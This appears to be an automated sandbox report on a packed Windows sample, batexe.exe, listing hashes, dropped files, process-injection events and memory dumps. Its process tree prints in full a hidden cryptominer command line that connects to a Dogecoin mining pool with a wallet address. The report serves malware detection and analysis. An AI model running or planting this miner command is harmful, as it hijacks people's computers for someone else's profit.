73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
294s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
21-02-2024 05:18

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2780	b2e.exe
1404	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1404	cpuminer-sse2.exe
1404	cpuminer-sse2.exe
1404	cpuminer-sse2.exe
1404	cpuminer-sse2.exe
1404	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3172-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3172 wrote to memory of 2780	3172	batexe.exe	76
PID 3172 wrote to memory of 2780	3172	batexe.exe	76
PID 3172 wrote to memory of 2780	3172	batexe.exe	76
PID 2780 wrote to memory of 376	2780	b2e.exe	77
PID 2780 wrote to memory of 376	2780	b2e.exe	77
PID 2780 wrote to memory of 376	2780	b2e.exe	77
PID 376 wrote to memory of 1404	376	cmd.exe	80
PID 376 wrote to memory of 1404	376	cmd.exe	80

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3172
- C:\Users\Admin\AppData\Local\Temp\90A7.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\90A7.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\90A7.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2780
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\92CA.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:376
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\90A7.tmp\b2e.exe

Filesize
9.9MB

MD5
22c53c5a8cc00b38314eff350406f8a0

SHA1
50e6c2416a631df207267b3c2a61cfafb944b56d

SHA256
79a92032b30616c3a1050842434d7acec5a4c5e625487a4b69dd1c78e3de599b

SHA512
548667253a46cb8b85f5c7c25cce97a5c4ad49b33e8c88b2224dc1d863b43679e77479bd4b0abca2498ce6d5fbd3144a99456632dceee78c4fc7628e492fff01

Download Submit
C:\Users\Admin\AppData\Local\Temp\90A7.tmp\b2e.exe

Filesize
14.3MB

MD5
d031fe993ac083256a81de5955f99f22

SHA1
7e3e06e2ee1a3f39904aaf82d1e97197b9e5f375

SHA256
0d2381af62287b70d188814ec343b886c24b7d43c91a75d297f8665e8531e30b

SHA512
0a52ebea8377595f1e2e7fdf9066749f1df9afa1944ed9dcb6defc99ffa8b76d49a3f43603e897571bac158b48139ca90e475db204c9e6d95346ec26232f126b

Download Submit
C:\Users\Admin\AppData\Local\Temp\92CA.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.3MB

MD5
a1c3f175d8432e3a7099a780ae000349

SHA1
92ee9a4915a01d6768f2829c61c42e78a08d43f2

SHA256
2de936d62caa70aa6fa9230ca09cd322e707018df45631a8633a1b538e5b3468

SHA512
0870c8c1d7ccfdd54af5b8e987c43245edd75ae08cb928967dde5886febabe582301918212be160ab3f7c9be8e82989eb9144c963e5eb6f283ddaaba58154c27

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.7MB

MD5
6b49fd9aa0f827156f401478014b03a7

SHA1
c894a5b220e23926b19a2775f8e5d513705eaa8e

SHA256
481b9583d4d0f8ec5c92dc79bbdcf8ccc626d676843fb7269bf1fd9f8815c1a6

SHA512
37a58f47b733b33a98e1f545f0995ef50c53b22470361ea1eefe8219ccdbf9bcbacbb3ffd7feb711d0aaa71f8ac6cc5ef1ec209bc617d6722540a3025b10237d

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.1MB

MD5
18a37175f797c32aad113d83cf9f232d

SHA1
45737846ab51c6cb2ce4bc0531c918652e352b00

SHA256
7e28d55f01a0f0abc2265d3186a5c8d27f08efa51e6f6c514b8f36138f69b72b

SHA512
971ff0bcfbd1aa8827fc999a5f9caed9d3a864cc957026a1c41189f9a6a4bebb14f8044ef2187d18d81c5e8c49ea356a71dcf4495efaffcabe03ee9a3a85d22d

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1404-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1404-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1404-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1404-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1404-42-0x0000000057CA0000-0x0000000057D38000-memory.dmp

Filesize
608KB

Download
memory/1404-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1404-44-0x0000000001090000-0x0000000002945000-memory.dmp

Filesize
24.7MB

Download
memory/1404-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1404-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1404-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1404-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1404-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1404-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1404-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2780-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2780-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3172-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download